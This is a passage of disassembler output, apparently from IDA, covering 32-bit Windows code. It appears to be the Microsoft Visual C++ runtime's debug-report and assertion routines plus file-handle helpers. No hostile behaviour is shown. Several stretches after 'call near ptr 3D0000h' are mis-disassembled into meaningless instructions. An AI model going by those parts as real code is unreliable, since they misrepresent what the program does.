push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
loc_4209EC: ; CODE XREF: sub_420960+7Fj
mov eax, [ebp+arg_0]
loc_4209EF: ; CODE XREF: sub_420960+25j
mov esp, ebp
pop ebp
retn
sub_420960 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420A00 proc near ; CODE XREF: sub_420960+64p
; sub_435D40+94p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp ds:dword_4EEA70, 0
jnz short loc_420A2C
cmp [ebp+arg_0], 41h
jl short loc_420A24
cmp [ebp+arg_0], 5Ah
jg short loc_420A24
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_420A24: ; CODE XREF: sub_420A00+13j
; sub_420A00+19j
mov eax, [ebp+arg_0]
jmp loc_420B27
; ---------------------------------------------------------------------------
loc_420A2C: ; CODE XREF: sub_420A00+Dj
cmp [ebp+arg_0], 100h
jge short loc_420A73
cmp ds:dword_44FD20, 1
jle short loc_420A51
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_10], eax
jmp short loc_420A65
; ---------------------------------------------------------------------------
loc_420A51: ; CODE XREF: sub_420A00+3Cj
mov edx, [ebp+arg_0]
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 1
mov [ebp+var_10], ecx
loc_420A65: ; CODE XREF: sub_420A00+4Fj
cmp [ebp+var_10], 0
jnz short loc_420A73
mov eax, [ebp+arg_0]
jmp loc_420B27
; ---------------------------------------------------------------------------
loc_420A73: ; CODE XREF: sub_420A00+33j
; sub_420A00+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_420ABC
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_420ACD
; ---------------------------------------------------------------------------
loc_420ABC: ; CODE XREF: sub_420A00+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_420ACD: ; CODE XREF: sub_420A00+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 100h
mov edx, ds:dword_4EEA70
push edx
call loc_42BB40
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_420B01
mov eax, [ebp+arg_0]
jmp short loc_420B27
; ---------------------------------------------------------------------------
loc_420B01: ; CODE XREF: sub_420A00+FAj
cmp [ebp+var_4], 1
jnz short loc_420B11
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_420B27
; ---------------------------------------------------------------------------
loc_420B11: ; CODE XREF: sub_420A00+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_420B27: ; CODE XREF: sub_420A00+27j
; sub_420A00+6Ej ...
mov esp, ebp
pop ebp
retn
sub_420A00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_439D28
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFA4h
push ebx
push esi
push edi
mov [ebp-18h], esp
call ds:dword_4F1434 ; GetVersion
mov ds:dword_4EE96C, eax
mov eax, ds:dword_4EE96C
shr eax, 8
and eax, 0FFh
mov ds:dword_4EE978, eax
mov ecx, ds:dword_4EE96C
and ecx, 0FFh
mov ds:dword_4EE974, ecx
mov edx, ds:dword_4EE974
shl edx, 8
add edx, ds:dword_4EE978
mov ds:dword_4EE970, edx
mov eax, ds:dword_4EE96C
shr eax, 10h
and eax, 0FFFFh
mov ds:dword_4EE96C, eax
push 1
call sub_422000
add esp, 4
test eax, eax
jnz short loc_420BC4
push 1Ch
call sub_420CD0
add esp, 4
loc_420BC4: ; CODE XREF: seg000:00420BB8j
call sub_425B50
test eax, eax
jnz short loc_420BD7
push 10h
call sub_420CD0
add esp, 4
loc_420BD7: ; CODE XREF: seg000:00420BCBj
mov dword ptr [ebp-4], 0
call loc_4281D0
call near ptr 3D0000h
inc esi
mov ds:dword_4EF068, eax
call sub_42C7E0
mov ds:dword_4EE9D4, eax
call sub_42C2D0
call sub_42C180
call sub_41D990
mov dword ptr [ebp-30h], 0
lea ecx, [ebp-5Ch]
push ecx
call near ptr 3D0000h
popa
call sub_42C0C0
mov [ebp-64h], eax
mov edx, [ebp-30h]
and edx, 1
test edx, edx
jz short loc_420C37
mov eax, [ebp-2Ch]
and eax, 0FFFFh
mov [ebp-6Ch], eax
jmp short loc_420C3E
; ---------------------------------------------------------------------------
loc_420C37: ; CODE XREF: seg000:00420C28j
mov dword ptr [ebp-6Ch], 0Ah
loc_420C3E: ; CODE XREF: seg000:00420C35j
mov ecx, [ebp-6Ch]
push ecx
mov edx, [ebp-64h]
push edx
push 0
push 0
call near ptr 3D0000h
in eax, dx
push eax
call loc_402710
mov [ebp-60h], eax
mov eax, [ebp-60h]
push eax
call sub_41D9D0
mov ecx, [ebp-14h]
mov edx, [ecx]
mov eax, [edx]
mov [ebp-68h], eax
mov ecx, [ebp-14h]
push ecx
mov edx, [ebp-68h]
push edx
call sub_42BEA0
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-68h]
push eax
call sub_41D9F0
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420CA0 proc near ; CODE XREF: sub_41EF20+8Dp
; sub_41FE90+2Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp ds:dword_4EE9DC, 1
jnz short loc_420CB1
call sub_42CAE0
loc_420CB1: ; CODE XREF: sub_420CA0+Aj
mov eax, [ebp+arg_0]
push eax
call sub_42CB30
add esp, 4
push 0FFh
call ds:off_44FD30
add esp, 4
pop ebp
retn
sub_420CA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420CD0 proc near ; CODE XREF: seg000:00420BBCp
; seg000:00420BCFp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp ds:dword_4EE9DC, 1
jnz short loc_420CE1
call sub_42CAE0
loc_420CE1: ; CODE XREF: sub_420CD0+Aj
mov eax, [ebp+arg_0]
push eax
call sub_42CB30
add esp, 4
push 0FFh
call ds:dword_4F12F8 ; ExitProcess
pop ebp
retn
sub_420CD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D00 proc near ; CODE XREF: seg000:00420F23p
; sub_4211A0+33p
push ebp
mov ebp, esp
call ds:dword_4F1438 ; DebugBreak
pop ebp
retn
sub_420D00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_420D20
cmp dword ptr [ebp+8], 3
jl short loc_420D25
loc_420D20: ; CODE XREF: seg000:00420D18j
or eax, 0FFFFFFFFh
jmp short loc_420D63
; ---------------------------------------------------------------------------
loc_420D25: ; CODE XREF: seg000:00420D1Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFFh
jnz short loc_420D37
mov eax, [ebp+8]
mov eax, ds:dword_44FD3C[eax*4]
jmp short loc_420D63
; ---------------------------------------------------------------------------
loc_420D37: ; CODE XREF: seg000:00420D29j
mov ecx, [ebp+0Ch]
and ecx, 0FFFFFFF8h
test ecx, ecx
jz short loc_420D46
or eax, 0FFFFFFFFh
jmp short loc_420D63
; ---------------------------------------------------------------------------
loc_420D46: ; CODE XREF: seg000:00420D3Fj
mov edx, [ebp+8]
mov eax, ds:dword_44FD3C[edx*4]
mov [ebp-4], eax
mov ecx, [ebp+8]
mov edx, [ebp+0Ch]
mov ds:dword_44FD3C[ecx*4], edx ; CODE XREF: seg000:00420DCDj
mov eax, [ebp-4]
loc_420D63: ; CODE XREF: seg000:00420D23j
; seg000:00420D35j ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_420D80
cmp dword ptr [ebp+8], 3
jl short loc_420D87
loc_420D80: ; CODE XREF: seg000:00420D78j
mov eax, 0FFFFFFFEh
jmp short near ptr loc_420DE6+4
; ---------------------------------------------------------------------------
loc_420D87: ; CODE XREF: seg000:00420D7Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFAh
jnz short loc_420D99
mov eax, [ebp+8]
mov eax, ds:dword_44FD48[eax*4]
jmp short near ptr loc_420DE6+4
; ---------------------------------------------------------------------------
loc_420D99: ; CODE XREF: seg000:00420D8Bj
mov ecx, [ebp+8]
mov edx, ds:dword_44FD48[ecx*4]
mov [ebp-4], edx
cmp dword ptr [ebp+0Ch], 0FFFFFFFCh
jnz short loc_420DC0
push 0FFFFFFF5h
call near ptr 3D0000h
mov edi, 89084D8Bh
add al, 8Dh
dec eax
std
inc esp
add bl, ch
daa
loc_420DC0: ; CODE XREF: seg000:00420DAAj
cmp dword ptr [ebp+0Ch], 0FFFFFFFBh
jnz short near ptr loc_420DD9+1
push 0FFFFFFF4h
call near ptr 3D0000h
jno short near ptr loc_420D59+1
push ebp
or [ecx-2B76AFCh], cl
inc esp
add bl, ch
loc_420DD9: ; CODE XREF: seg000:00420DC4j
or eax, 8B08458Bh
dec ebp
or al, 89h
or al, 85h
dec eax
std
inc esp
loc_420DE6: ; CODE XREF: seg000:00420D85j
; seg000:00420D97j
add [ebx-1A7403BBh], cl
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4EF064
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_4EF064, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_420E10: ; CODE XREF: sub_41ACF0+24p
; sub_41AD80+2Cp ...
push ebp
mov ebp, esp
mov eax, 302Ch
call sub_41DEB0
push edi
mov byte ptr [ebp-3008h], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp-3007h]
rep stosd
stosw
stosb
mov byte ptr [ebp-2008h], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp-2007h]
rep stosd
stosw
stosb
mov byte ptr [ebp-1000h], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp-0FFFh]
rep stosd
stosw
stosb
lea eax, [ebp+1Ch]
mov [ebp-1004h], eax
cmp dword ptr [ebp+8], 0
jl short loc_420E7E
cmp dword ptr [ebp+8], 3
jl short loc_420E86
loc_420E7E: ; CODE XREF: seg000:00420E76j
or eax, 0FFFFFFFFh
jmp loc_42119B
; ---------------------------------------------------------------------------
loc_420E86: ; CODE XREF: seg000:00420E7Cj
cmp dword ptr [ebp+8], 2
jnz loc_420F30
push offset dword_44FD38
call ds:dword_4F1428 ; InterlockedIncrement
test eax, eax
jle loc_420F30
cmp ds:dword_4EE9E0, 0
jnz short loc_420EEE
push offset aUser32_dll_0 ; "user32.dll"
call ds:dword_4F130C ; LoadLibraryA
mov [ebp-300Ch], eax
cmp dword ptr [ebp-300Ch], 0
jz short loc_420EE6
push offset aWsprintfa ; "wsprintfA"
mov ecx, [ebp-300Ch]
push ecx
call ds:dword_4F1314
mov ds:dword_4EE9E0, eax
cmp ds:dword_4EE9E0, 0
jnz short loc_420EEE
loc_420EE6: ; CODE XREF: seg000:00420EC4j
or eax, 0FFFFFFFFh
jmp loc_42119B
; ---------------------------------------------------------------------------
loc_420EEE: ; CODE XREF: seg000:00420EAAj
; seg000:00420EE4j
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"...
lea ecx, [ebp-2008h]
push ecx
call ds:dword_4EE9E0
add esp, 10h
lea edx, [ebp-2008h]
push edx
call near ptr 3D0000h
loope near ptr loc_420F79+8
cmp ch, bh
inc esp
add bh, bh
adc eax, offset dword_4F1424
call sub_420D00
or eax, 0FFFFFFFFh
jmp loc_42119B
; ---------------------------------------------------------------------------
loc_420F30: ; CODE XREF: seg000:00420E8Aj
; seg000:00420E9Dj
cmp dword ptr [ebp+18h], 0
jz short loc_420F6D
mov eax, [ebp-1004h]
push eax
mov ecx, [ebp+18h]
push ecx
push 0FEDh
lea edx, [ebp-1000h]
push edx
call sub_41D160
add esp, 10h
test eax, eax
jge short loc_420F6D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea eax, [ebp-1000h]
push eax
call sub_41E550
add esp, 8
loc_420F6D: ; CODE XREF: seg000:00420F34j
; seg000:00420F57j
cmp dword ptr [ebp+8], 2
jnz short loc_420FA5
cmp dword ptr [ebp+18h], 0
jz short loc_420F85
loc_420F79: ; CODE XREF: seg000:00420F17j
mov dword ptr [ebp-3028h], offset aAssertionFaile ; "Assertion failed: "
jmp short loc_420F8F
; ---------------------------------------------------------------------------
loc_420F85: ; CODE XREF: seg000:00420F77j
mov dword ptr [ebp-3028h], offset aAssertionFai_0 ; "Assertion failed!"
loc_420F8F: ; CODE XREF: seg000:00420F83j
mov ecx, [ebp-3028h]
push ecx
lea edx, [ebp-3008h]
push edx
call sub_41E550
add esp, 8
loc_420FA5: ; CODE XREF: seg000:00420F71j
lea eax, [ebp-1000h]
push eax
lea ecx, [ebp-3008h]
push ecx
call sub_41E560
add esp, 8
cmp dword ptr [ebp+8], 2
jnz short loc_420FFA
mov edx, [ebp+8]
mov eax, ds:dword_44FD3C[edx*4]
and eax, 1
test eax, eax
jz short loc_420FE6
push offset asc_439D68 ; "\r"
lea ecx, [ebp-3008h]
push ecx
call sub_41E560
add esp, 8
loc_420FE6: ; CODE XREF: seg000:00420FD0j
push offset asc_439D64 ; "\n"
lea edx, [ebp-3008h]
push edx
call sub_41E560
add esp, 8
loc_420FFA: ; CODE XREF: seg000:00420FBFj
cmp dword ptr [ebp+0Ch], 0
jz short loc_421042
lea eax, [ebp-3008h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
push offset aSDS ; "%s(%d) : %s"
push 1000h
lea eax, [ebp-2008h]
push eax
call sub_41D360
add esp, 18h
test eax, eax
jge short loc_421040
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp-2008h]
push ecx
call sub_41E550
add esp, 8
loc_421040: ; CODE XREF: seg000:0042102Aj
jmp short loc_421058
; ---------------------------------------------------------------------------
loc_421042: ; CODE XREF: seg000:00420FFEj
lea edx, [ebp-3008h]
push edx
lea eax, [ebp-2008h]
push eax
call sub_41E550
add esp, 8
loc_421058: ; CODE XREF: seg000:loc_421040j
cmp ds:dword_4EF064, 0
jz short loc_42109C
lea ecx, [ebp-1008h]
push ecx
lea edx, [ebp-2008h]
push edx
mov eax, [ebp+8]
push eax
call ds:dword_4EF064
add esp, 0Ch
test eax, eax
jz short loc_42109C
cmp dword ptr [ebp+8], 2
jnz short loc_421091
push offset dword_44FD38
call ds:dword_4F1424 ; InterlockedDecrement
loc_421091: ; CODE XREF: seg000:00421084j
mov eax, [ebp-1008h]
jmp loc_42119B
; ---------------------------------------------------------------------------
loc_42109C: ; CODE XREF: seg000:0042105Fj
; seg000:0042107Ej
mov ecx, [ebp+8]
mov edx, ds:dword_44FD3C[ecx*4]
and edx, 1
test edx, edx
jz short loc_4210EB
mov eax, [ebp+8]
cmp ds:dword_44FD48[eax*4], 0FFFFFFFFh
jz short loc_4210EB
push 0
lea ecx, [ebp-3010h]
push ecx
lea edx, [ebp-2008h]
push edx
call sub_41AC70
add esp, 4
push eax
lea eax, [ebp-2008h]
push eax
mov ecx, [ebp+8]
mov edx, ds:dword_44FD48[ecx*4]
push edx
call near ptr 3D0000h
pop esi
loc_4210EB: ; CODE XREF: seg000:004210ABj
; seg000:004210B8j
mov eax, [ebp+8]
mov ecx, ds:dword_44FD3C[eax*4]
and ecx, 2
test ecx, ecx
jz short near ptr loc_421108+1
lea edx, [ebp-2008h]
push edx
call near ptr 3D0000h
loc_421108: ; CODE XREF: seg000:004210FAj
mov edi, 8B08458Bh
or al, 85h
cmp al, 0FDh
inc esp
add [ebx-367AFB1Fh], al
jz short loc_421188
cmp dword ptr [ebp+10h], 0
jz short loc_42113D
push 0Ah
lea edx, [ebp-3024h]
push edx
mov eax, [ebp+10h]
push eax
call sub_42CD40
add esp, 0Ch
mov [ebp-302Ch], eax
jmp short loc_421147
; ---------------------------------------------------------------------------
loc_42113D: ; CODE XREF: seg000:0042111Ej
mov dword ptr [ebp-302Ch], 0
loc_421147: ; CODE XREF: seg000:0042113Bj
lea ecx, [ebp-1000h]
push ecx
mov edx, [ebp+14h]
push edx
mov eax, [ebp-302Ch]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_4211A0
add esp, 14h
mov [ebp-1008h], eax
cmp dword ptr [ebp+8], 2
jnz short loc_421180
push offset dword_44FD38
call ds:dword_4F1424 ; InterlockedDecrement
loc_421180: ; CODE XREF: seg000:00421173j
mov eax, [ebp-1008h]
jmp short loc_42119B
; ---------------------------------------------------------------------------
loc_421188: ; CODE XREF: seg000:00421118j
cmp dword ptr [ebp+8], 2
jnz short loc_421199
push offset dword_44FD38
call ds:dword_4F1424 ; InterlockedDecrement
loc_421199: ; CODE XREF: seg000:0042118Cj
xor eax, eax
loc_42119B: ; CODE XREF: seg000:00420E81j
; seg000:00420EE9j ...
pop edi
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4211A0 proc near ; CODE XREF: seg000:00421161p
var_1138 = dword ptr -1138h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1114 = dword ptr -1114h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1138h
call sub_41DEB0
loc_4211AD: ; CODE XREF: sub_4211A0+3Cj
cmp [ebp+arg_10], 0
jnz short loc_4211D8
push offset aSzusermessageN ; "szUserMessage != NULL"
push 0
push 1DAh
push offset aDbgrpt_c ; "dbgrpt.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_4211D8
call sub_420D00
loc_4211D8: ; CODE XREF: sub_4211A0+11j
; sub_4211A0+31j
xor eax, eax
test eax, eax
jnz short loc_4211AD
push 104h
lea ecx, [ebp+var_108]
push ecx
push 0
call near ptr 3D0000h
push ecx
test eax, eax
jnz short loc_42120A
push offset aProgramNameUnk ; "<program name unknown>"
lea edx, [ebp+var_108]
push edx
call sub_41E550
add esp, 8
loc_42120A: ; CODE XREF: sub_4211A0+54j
lea eax, [ebp+var_108]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_41AC70
add esp, 4
cmp eax, 40h
jbe short loc_42124D
mov edx, [ebp+var_4]
push edx
call sub_41AC70
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax-40h]
mov [ebp+var_4], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_4]
push eax
call sub_41D800
add esp, 0Ch
loc_42124D: ; CODE XREF: sub_4211A0+82j
mov ecx, [ebp+arg_C]
mov [ebp+var_1110], ecx
cmp [ebp+var_1110], 0
jz short loc_4212A8
mov edx, [ebp+var_1110]
push edx
call sub_41AC70
add esp, 4
cmp eax, 40h
jbe short loc_4212A8
mov eax, [ebp+var_1110]
push eax
call sub_41AC70
add esp, 4
mov ecx, [ebp+var_1110]
lea edx, [ecx+eax-40h]
mov [ebp+var_1110], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_1110]
push eax
call sub_41D800
add esp, 0Ch
loc_4212A8: ; CODE XREF: sub_4211A0+BDj
; sub_4211A0+D1j
cmp [ebp+arg_0], 2
jnz short loc_4212BA
mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"...
jmp short loc_4212C4
; ---------------------------------------------------------------------------
loc_4212BA: ; CODE XREF: sub_4211A0+10Cj
mov [ebp+var_1114], offset dword_439EB4
loc_4212C4: ; CODE XREF: sub_4211A0+118j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_4212D9
mov eax, [ebp+arg_10]
mov [ebp+var_1118], eax
jmp short loc_4212E3
; ---------------------------------------------------------------------------
loc_4212D9: ; CODE XREF: sub_4211A0+12Cj
mov [ebp+var_1118], offset dword_439EB4
loc_4212E3: ; CODE XREF: sub_4211A0+137j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_4212FF
cmp [ebp+arg_0], 2
jnz short loc_4212FF
mov [ebp+var_111C], offset aExpression ; "Expression: "
jmp short loc_421309
; ---------------------------------------------------------------------------
loc_4212FF: ; CODE XREF: sub_4211A0+14Bj
; sub_4211A0+151j
mov [ebp+var_111C], offset dword_439EB4
loc_421309: ; CODE XREF: sub_4211A0+15Dj
mov eax, [ebp+arg_10]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42131F
mov [ebp+var_1120], offset asc_439EA0 ; "\n\n"
jmp short loc_421329
; ---------------------------------------------------------------------------
loc_42131F: ; CODE XREF: sub_4211A0+171j
mov [ebp+var_1120], offset dword_439EB4
loc_421329: ; CODE XREF: sub_4211A0+17Dj
cmp [ebp+arg_8], 0
jz short loc_42133A
mov edx, [ebp+arg_8]
mov [ebp+var_1124], edx
jmp short loc_421344
; ---------------------------------------------------------------------------
loc_42133A: ; CODE XREF: sub_4211A0+18Dj
mov [ebp+var_1124], offset dword_439EB4
loc_421344: ; CODE XREF: sub_4211A0+198j
cmp [ebp+arg_8], 0
jz short loc_421356
mov [ebp+var_1128], offset aLine ; "\nLine: "
jmp short loc_421360
; ---------------------------------------------------------------------------
loc_421356: ; CODE XREF: sub_4211A0+1A8j
mov [ebp+var_1128], offset dword_439EB4
loc_421360: ; CODE XREF: sub_4211A0+1B4j
cmp [ebp+arg_4], 0
jz short loc_421371
mov eax, [ebp+arg_4]
mov [ebp+var_112C], eax
jmp short loc_42137B
; ---------------------------------------------------------------------------
loc_421371: ; CODE XREF: sub_4211A0+1C4j
mov [ebp+var_112C], offset dword_439EB4
loc_42137B: ; CODE XREF: sub_4211A0+1CFj
cmp [ebp+arg_4], 0
jz short loc_42138D
mov [ebp+var_1130], offset aFile_2 ; "\nFile: "
jmp short loc_421397
; ---------------------------------------------------------------------------
loc_42138D: ; CODE XREF: sub_4211A0+1DFj
mov [ebp+var_1130], offset dword_439EB4
loc_421397: ; CODE XREF: sub_4211A0+1EBj
cmp [ebp+var_1110], 0
jz short loc_4213AE
mov ecx, [ebp+var_1110]
mov [ebp+var_1134], ecx
jmp short loc_4213B8
; ---------------------------------------------------------------------------
loc_4213AE: ; CODE XREF: sub_4211A0+1FEj
mov [ebp+var_1134], offset dword_439EB4
loc_4213B8: ; CODE XREF: sub_4211A0+20Cj
cmp [ebp+var_1110], 0
jz short loc_4213CD
mov [ebp+var_1138], offset aModule ; "\nModule: "
jmp short loc_4213D7
; ---------------------------------------------------------------------------
loc_4213CD: ; CODE XREF: sub_4211A0+21Fj
mov [ebp+var_1138], offset dword_439EB4
loc_4213D7: ; CODE XREF: sub_4211A0+22Bj
mov edx, [ebp+var_1114]
push edx
mov eax, [ebp+var_1118]
push eax
mov ecx, [ebp+var_111C]
push ecx
mov edx, [ebp+var_1120]
push edx
mov eax, [ebp+var_1124]
push eax
mov ecx, [ebp+var_1128]
push ecx
mov edx, [ebp+var_112C]
push edx
mov eax, [ebp+var_1130]
push eax
mov ecx, [ebp+var_1134]
push ecx
mov edx, [ebp+var_1138]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, ds:off_44FD54[ecx*4]
push edx
push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
push 1000h
lea eax, [ebp+var_110C]
push eax
call sub_41D360
add esp, 3Ch
test eax, eax
jge short loc_42145D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_110C]
push ecx
call sub_41E550
add esp, 8
loc_42145D: ; CODE XREF: sub_4211A0+2A7j
push 12012h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
lea edx, [ebp+var_110C]
push edx
call sub_42D5C0
add esp, 0Ch
mov [ebp+var_10C], eax
cmp [ebp+var_10C], 3
jnz short loc_421496
push 16h
call sub_42D300
add esp, 4
push 3
call sub_41D9F0
loc_421496: ; CODE XREF: sub_4211A0+2E3j
cmp [ebp+var_10C], 4
jnz short loc_4214A6
mov eax, 1
jmp short loc_4214A8
; ---------------------------------------------------------------------------
loc_4214A6: ; CODE XREF: sub_4211A0+2FDj
xor eax, eax
loc_4214A8: ; CODE XREF: sub_4211A0+304j
mov esp, ebp
pop ebp
retn
sub_4211A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4214B0 proc near ; CODE XREF: sub_41AD80+71p
; sub_42E310+400p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4EEE20
jnb short loc_4214E1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_4214FC
loc_4214E1: ; CODE XREF: sub_4214B0+Dj
call sub_4267E0
mov dword ptr [eax], 9
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_421526
; ---------------------------------------------------------------------------
loc_4214FC: ; CODE XREF: sub_4214B0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42DB90
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_421530
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42DC20
add esp, 4
mov eax, [ebp+var_4]
loc_421526: ; CODE XREF: sub_4214B0+4Aj
mov esp, ebp
pop ebp
retn
sub_4214B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421530 proc near ; CODE XREF: sub_4214B0+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov eax, [ebp+arg_0]
push eax
call sub_42DA10
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_421583
cmp [ebp+arg_0], 1
jz short loc_421552
cmp [ebp+arg_0], 2
jnz short loc_42156C
loc_421552: ; CODE XREF: sub_421530+1Aj
push 1
call sub_42DA10
add esp, 4
mov esi, eax
push 2
call sub_42DA10
add esp, 4
cmp esi, eax
jz short loc_421583
loc_42156C: ; CODE XREF: sub_421530+20j
mov ecx, [ebp+arg_0]
push ecx
call sub_42DA10
add esp, 4
push eax
call ds:dword_4F12FC ; CloseHandle
test eax, eax
jz short loc_42158C
loc_421583: ; CODE XREF: sub_421530+14j
; sub_421530+3Aj
mov [ebp+var_4], 0
jmp short loc_421595
; ---------------------------------------------------------------------------
loc_42158C: ; CODE XREF: sub_421530+51j
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
loc_421595: ; CODE XREF: sub_421530+5Aj
mov edx, [ebp+arg_0]
push edx
call loc_42D930
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov byte ptr [edx+ecx+4], 0
cmp [ebp+var_4], 0
jz short loc_4215D3
mov eax, [ebp+var_4]
push eax
call sub_426740
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_4215D5
; ---------------------------------------------------------------------------
loc_4215D3: ; CODE XREF: sub_421530+90j
xor eax, eax
loc_4215D5: ; CODE XREF: sub_421530+A1j
pop esi
mov esp, ebp
pop ebp
retn
sub_421530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4215E0 proc near ; CODE XREF: sub_41AD80+62p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_4215E6: ; CODE XREF: sub_4215E0+2Ej
cmp [ebp+arg_0], 0
jnz short loc_42160A
push offset dword_4394EC
push 0
push 30h
push offset a_freebuf_c ; "_freebuf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
